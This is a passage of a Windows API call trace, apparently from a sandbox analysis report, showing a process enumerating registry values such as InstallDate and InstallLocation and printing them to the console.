0x1 [0148.218] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.218] GetConsoleOutputCP () returned 0x1b5 [0148.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.218] GetConsoleOutputCP () returned 0x1b5 [0148.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.218] __iob_func () returned 0x7fefd702a80 [0148.218] _fileno (_File=0x7fefd702ab0) returned 1 [0148.218] _errno () returned 0xc4bb0 [0148.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.218] _errno () returned 0xc4bb0 [0148.219] GetFileType (hFile=0x50) returned 0x1 [0148.219] lstrlenW (lpString=" ") returned 4 [0148.219] GetConsoleOutputCP () returned 0x1b5 [0148.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.219] GetConsoleOutputCP () returned 0x1b5 [0148.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.219] __iob_func () returned 0x7fefd702a80 [0148.219] _fileno (_File=0x7fefd702ab0) returned 1 [0148.219] _errno () returned 0xc4bb0 [0148.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.219] _errno () returned 0xc4bb0 [0148.219] GetFileType (hFile=0x50) returned 0x1 [0148.219] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0148.219] GetConsoleOutputCP () returned 0x1b5 [0148.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0148.219] GetConsoleOutputCP () returned 0x1b5 [0148.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0148.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0148.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.220] __iob_func () returned 0x7fefd702a80 [0148.220] _fileno (_File=0x7fefd702ab0) returned 1 [0148.220] _errno () returned 0xc4bb0 [0148.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.220] _errno () returned 0xc4bb0 [0148.220] GetFileType (hFile=0x50) returned 0x1 [0148.220] lstrlenW (lpString="\n") returned 1 [0148.220] GetConsoleOutputCP () returned 0x1b5 [0148.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.220] GetConsoleOutputCP () returned 0x1b5 [0148.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.220] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.220] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.220] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.220] GetProcessHeap () returned 0x2e0000 [0148.220] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.221] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.221] __iob_func () returned 0x7fefd702a80 [0148.221] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.221] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.221] _fileno (_File=0x7fefd702ab0) returned 1 [0148.221] _errno () returned 0xc4bb0 [0148.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.221] _errno () returned 0xc4bb0 [0148.221] GetFileType (hFile=0x50) returned 0x1 [0148.221] lstrlenW (lpString=" ") returned 4 [0148.221] GetConsoleOutputCP () returned 0x1b5 [0148.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.221] GetConsoleOutputCP () returned 0x1b5 [0148.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.221] lstrlenW (lpString="HelpTelephone") returned 13 [0148.221] __iob_func () returned 0x7fefd702a80 [0148.221] _fileno (_File=0x7fefd702ab0) returned 1 [0148.221] _errno () returned 0xc4bb0 [0148.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.221] _errno () returned 0xc4bb0 [0148.221] GetFileType (hFile=0x50) returned 0x1 [0148.221] lstrlenW (lpString="HelpTelephone") returned 13 [0148.221] GetConsoleOutputCP () returned 0x1b5 [0148.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.222] GetConsoleOutputCP () returned 0x1b5 [0148.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0148.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.222] __iob_func () returned 0x7fefd702a80 [0148.222] _fileno (_File=0x7fefd702ab0) returned 1 [0148.222] _errno () returned 0xc4bb0 [0148.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.222] _errno () returned 0xc4bb0 [0148.222] GetFileType (hFile=0x50) returned 0x1 [0148.222] lstrlenW (lpString=" ") returned 4 [0148.222] GetConsoleOutputCP () returned 0x1b5 [0148.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.222] GetConsoleOutputCP () returned 0x1b5 [0148.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.222] __iob_func () returned 0x7fefd702a80 [0148.222] _fileno (_File=0x7fefd702ab0) returned 1 [0148.222] _errno () returned 0xc4bb0 [0148.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.222] _errno () returned 0xc4bb0 [0148.223] GetFileType (hFile=0x50) returned 0x1 [0148.223] lstrlenW (lpString="REG_SZ") returned 6 [0148.223] GetConsoleOutputCP () returned 0x1b5 [0148.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.223] GetConsoleOutputCP () returned 0x1b5 [0148.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.223] __iob_func () returned 0x7fefd702a80 [0148.223] _fileno (_File=0x7fefd702ab0) returned 1 [0148.223] _errno () returned 0xc4bb0 [0148.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.223] _errno () returned 0xc4bb0 [0148.224] GetFileType (hFile=0x50) returned 0x1 [0148.224] lstrlenW (lpString=" ") returned 4 [0148.224] GetConsoleOutputCP () returned 0x1b5 [0148.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.224] GetConsoleOutputCP () returned 0x1b5 [0148.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.224] __iob_func () returned 0x7fefd702a80 [0148.224] _fileno (_File=0x7fefd702ab0) returned 1 [0148.224] _errno () returned 0xc4bb0 [0148.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.224] _errno () returned 0xc4bb0 [0148.224] GetFileType (hFile=0x50) returned 0x1 [0148.224] lstrlenW (lpString="") returned 0 [0148.224] __iob_func () returned 0x7fefd702a80 [0148.224] _fileno (_File=0x7fefd702ab0) returned 1 [0148.224] _errno () returned 0xc4bb0 [0148.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.224] _errno () returned 0xc4bb0 [0148.224] GetFileType (hFile=0x50) returned 0x1 [0148.224] lstrlenW (lpString="\n") returned 1 [0148.224] GetConsoleOutputCP () returned 0x1b5 [0148.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.225] GetConsoleOutputCP () returned 0x1b5 [0148.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.225] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.225] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.225] GetProcessHeap () returned 0x2e0000 [0148.225] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.225] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0148.225] __iob_func () returned 0x7fefd702a80 [0148.225] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.225] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.225] _fileno (_File=0x7fefd702ab0) returned 1 [0148.225] _errno () returned 0xc4bb0 [0148.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.225] _errno () returned 0xc4bb0 [0148.225] GetFileType (hFile=0x50) returned 0x1 [0148.225] lstrlenW (lpString=" ") returned 4 [0148.226] GetConsoleOutputCP () returned 0x1b5 [0148.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.226] GetConsoleOutputCP () returned 0x1b5 [0148.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.226] lstrlenW (lpString="InstallDate") returned 11 [0148.226] __iob_func () returned 0x7fefd702a80 [0148.226] _fileno (_File=0x7fefd702ab0) returned 1 [0148.226] _errno () returned 0xc4bb0 [0148.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.226] _errno () returned 0xc4bb0 [0148.226] GetFileType (hFile=0x50) returned 0x1 [0148.226] lstrlenW (lpString="InstallDate") returned 11 [0148.226] GetConsoleOutputCP () returned 0x1b5 [0148.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.226] GetConsoleOutputCP () returned 0x1b5 [0148.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0148.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.227] __iob_func () returned 0x7fefd702a80 [0148.227] _fileno (_File=0x7fefd702ab0) returned 1 [0148.227] _errno () returned 0xc4bb0 [0148.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.227] _errno () returned 0xc4bb0 [0148.227] GetFileType (hFile=0x50) returned 0x1 [0148.227] lstrlenW (lpString=" ") returned 4 [0148.227] GetConsoleOutputCP () returned 0x1b5 [0148.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.227] GetConsoleOutputCP () returned 0x1b5 [0148.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.227] __iob_func () returned 0x7fefd702a80 [0148.227] _fileno (_File=0x7fefd702ab0) returned 1 [0148.227] _errno () returned 0xc4bb0 [0148.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.227] _errno () returned 0xc4bb0 [0148.227] GetFileType (hFile=0x50) returned 0x1 [0148.227] lstrlenW (lpString="REG_SZ") returned 6 [0148.227] GetConsoleOutputCP () returned 0x1b5 [0148.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.227] GetConsoleOutputCP () returned 0x1b5 [0148.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.228] __iob_func () returned 0x7fefd702a80 [0148.228] _fileno (_File=0x7fefd702ab0) returned 1 [0148.228] _errno () returned 0xc4bb0 [0148.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.228] _errno () returned 0xc4bb0 [0148.228] GetFileType (hFile=0x50) returned 0x1 [0148.228] lstrlenW (lpString=" ") returned 4 [0148.228] GetConsoleOutputCP () returned 0x1b5 [0148.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.228] GetConsoleOutputCP () returned 0x1b5 [0148.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.228] __iob_func () returned 0x7fefd702a80 [0148.228] _fileno (_File=0x7fefd702ab0) returned 1 [0148.228] _errno () returned 0xc4bb0 [0148.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.228] _errno () returned 0xc4bb0 [0148.228] GetFileType (hFile=0x50) returned 0x1 [0148.228] lstrlenW (lpString="20170630") returned 8 [0148.228] GetConsoleOutputCP () returned 0x1b5 [0148.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.229] GetConsoleOutputCP () returned 0x1b5 [0148.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0148.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.229] __iob_func () returned 0x7fefd702a80 [0148.229] _fileno (_File=0x7fefd702ab0) returned 1 [0148.229] _errno () returned 0xc4bb0 [0148.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.229] _errno () returned 0xc4bb0 [0148.229] GetFileType (hFile=0x50) returned 0x1 [0148.229] lstrlenW (lpString="\n") returned 1 [0148.229] GetConsoleOutputCP () returned 0x1b5 [0148.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.229] GetConsoleOutputCP () returned 0x1b5 [0148.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.229] GetProcessHeap () returned 0x2e0000 [0148.229] GetProcessHeap () returned 0x2e0000 [0148.229] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.230] GetProcessHeap () returned 0x2e0000 [0148.230] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.230] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.230] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.230] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.230] GetProcessHeap () returned 0x2e0000 [0148.230] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.230] GetProcessHeap () returned 0x2e0000 [0148.230] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.230] GetProcessHeap () returned 0x2e0000 [0148.230] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.230] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.230] __iob_func () returned 0x7fefd702a80 [0148.230] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.230] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.230] _fileno (_File=0x7fefd702ab0) returned 1 [0148.230] _errno () returned 0xc4bb0 [0148.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.230] _errno () returned 0xc4bb0 [0148.230] GetFileType (hFile=0x50) returned 0x1 [0148.230] lstrlenW (lpString=" ") returned 4 [0148.230] GetConsoleOutputCP () returned 0x1b5 [0148.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.230] GetConsoleOutputCP () returned 0x1b5 [0148.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, 